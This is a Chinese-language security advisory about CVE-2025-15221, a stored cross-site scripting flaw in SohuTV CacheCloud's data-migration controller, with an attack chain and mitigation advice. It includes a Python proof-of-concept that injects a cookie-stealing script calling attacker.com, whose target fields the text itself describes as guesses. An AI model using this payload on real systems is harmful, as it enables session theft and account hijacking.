IPBUF安全漏洞报告
English
CVE-2025-15221 CVSS 3.5 低危

CVE-2025-15221 SohuTV CacheCloud跨站脚本漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15221
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

跨站脚本漏洞XSSCacheCloud搜狐TV存储型XSSCVE-2025-15221

漏洞概述

CVE-2025-15221是搜狐TV缓存云平台CacheCloud中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于AppDataMigrateController.java文件的index函数中,攻击者可以通过构造恶意的JavaScript脚本在应用程序中执行,从而窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。由于该漏洞需要低权限用户身份和用户交互才能触发,因此CVSS评分较低,但仍然对应用程序的安全性构成威胁。CacheCloud是搜狐TV开源的Redis缓存管理平台,广泛应用于企业内部缓存管理和数据迁移场景。该漏洞影响版本最高至3.2.0,攻击者可以利用此漏洞在管理员查看迁移数据时执行恶意脚本,窃取敏感信息或进行进一步的攻击。漏洞已于2025年12月30日公开披露,但项目方尚未做出响应修复。

技术细节

该漏洞是一个典型的存储型跨站脚本漏洞,存在于SohuTV CacheCloud的AppDataMigrateController.java文件中的index函数。攻击者通过应用程序的数据迁移功能注入恶意JavaScript代码,该代码会被存储在服务器端。当其他用户(如管理员)访问相关页面查看迁移数据时,存储的恶意脚本会在其浏览器上下文中执行。漏洞的利用需要满足以下条件:1)攻击者需要拥有应用程序的低权限账户;2)攻击者需要通过用户交互(如提交表单)触发漏洞;3)受害者需要访问包含恶意脚本的页面。由于漏洞位于数据迁移控制器的index函数中,攻击者可能通过在迁移任务名称、描述或其他可输入字段中插入XSS payload来实现攻击。常见的XSS payload包括:<script>alert(document.cookie)</script>、<img src=x onerror=alert(1)>等。攻击成功后,攻击者可以获取用户的会话令牌、执行未授权操作或进行进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者注册并登录SohuTV CacheCloud平台,获取低权限用户账户
STEP 2
步骤2
攻击者构造恶意XSS payload(如<script>alert(document.cookie)</script>)
STEP 3
步骤3
攻击者通过数据迁移功能(AppDataMigrateController)的index函数提交包含恶意脚本的迁移任务
STEP 4
步骤4
恶意脚本被存储在服务器数据库中,当管理员或其他用户访问迁移任务列表页面时触发
STEP 5
步骤5
恶意脚本在受害者浏览器中执行,窃取Cookie、会话令牌或其他敏感信息
STEP 6
步骤6
攻击者利用窃取的凭证进行账户劫持或其他进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15221 PoC - SohuTV CacheCloud XSS # Target: SohuTV CacheCloud <= 3.2.0 # Vulnerability: Stored XSS in AppDataMigrateController.java index function TARGET_URL = "http://target-server:8080" USERNAME = "attacker" PASSWORD = "password" def login(): """Login to CacheCloud to obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def exploit_xss(session): """Inject XSS payload via data migration feature""" # XSS payload - Cookie stealing xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" migrate_url = f"{TARGET_URL}/appDataMigrate/index" data = { "taskName": xss_payload, "sourceAppId": "1", "targetAppId": "2", "description": xss_payload } response = session.post(migrate_url, data=data) return response.status_code == 200 def main(): session = login() if session: if exploit_xss(session): print("[+] XSS payload injected successfully") print("[*] Wait for admin to view migration page") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在官方修复补丁发布前,可以采取以下临时缓解措施:1)禁用或限制数据迁移功能的访问权限;2)对所有用户输入进行HTML转义处理;3)启用HttpOnly和Secure标志保护Cookie;4)部署Web应用防火墙(WAF)规则过滤XSS攻击特征;5)加强对管理员账户的安全监控,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表